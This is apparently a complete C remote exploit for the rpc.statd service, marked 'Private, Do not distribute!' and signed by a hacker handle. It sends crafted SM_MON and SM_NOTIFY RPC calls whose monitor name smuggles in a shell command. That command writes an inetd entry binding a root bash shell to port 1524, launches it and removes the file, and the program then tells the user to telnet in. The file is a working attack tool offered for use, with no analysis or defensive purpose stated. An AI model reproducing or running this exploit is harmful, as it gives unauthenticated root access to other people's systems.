/*
 *
 * Remote exploit for rpc.statd(remote) - Private, Do not distribute!
 *
 * Written by \x90
 *
 * Greetz to p0rtal, paranoid, digit, f1ex, tmoggie, luke_skyw, pyro,
 *                   lostie, all in sK, and all the guys on #hax
 *                   
 * Usage: ./stdz [hostname] [name]
 * 
 */


#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <rpc/rpc.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <rpcsvc/sm_inter.h>

int main(int argc, char *argv[]) {
   CLIENT *cl;
   enum clnt_stat stat;
   struct sm_stat_res monres;
   struct mon monreq;
   struct sockaddr_in target;
   struct hostent *host;
   struct timeval tval;
   struct stat_chge ntz;
   char buf[1024];
   int sockz;

   if (argc != 3) {
      printf("Statd exploit by \\x90 - PRIVATE!\n\n");
      printf("Usage: %s server name\n", argv[0]);
      exit(0);
   }

   bzero(buf, sizeof(buf));
   bzero(&monreq, sizeof(monreq));

   sprintf(buf, "; echo \"ingreslock stream tcp nowait root /bin/bash bash\" >> /tmp/.zxc ; /usr/sbin/inetd -s /tmp/.zxc &; rm -f /tmp/.zxc;");

   monreq.mon_id.my_id.my_name = argv[2];
   monreq.mon_id.my_id.my_prog = (unsigned long) 100099;
   monreq.mon_id.my_id.my_vers = (unsigned long) 1;
   monreq.mon_id.my_id.my_proc = (unsigned long) 1;
   monreq.mon_id.mon_name = buf;
   monreq.priv[0] = '/';

   tval.tv_sec = 9;
   tval.tv_usec = 0;
   ntz.mon_name = buf;
   ntz.state = 1;

   host = gethostbyname(argv[1]);

   target.sin_family = AF_INET;
   target.sin_addr.s_addr = *(u_long *)host->h_addr;
   target.sin_port = 0;

   sockz = RPC_ANYSOCK;

   if ( (cl = clntudp_create(&target, SM_PROG, SM_VERS, tval, &sockz)) == NULL) {
      printf("Failure.\n");
      exit(0);
   }

   stat = clnt_call(cl, SM_MON,(xdrproc_t) xdr_void, &monreq,(xdrproc_t) xdr_void, &monres, tval);

   if (stat != RPC_SUCCESS) {
     printf("Failure\n");
     exit(0);
   }

   stat=clnt_call(cl, SM_NOTIFY, xdr_void, &ntz,xdr_void,NULL,tval);

   if (stat != RPC_SUCCESS) {
      printf("Failure.\n");
      exit(0);
   }

   clnt_destroy(cl);

   printf("Worx?, Telnet %s 1524\n", argv[1]);
   exit(0);
}
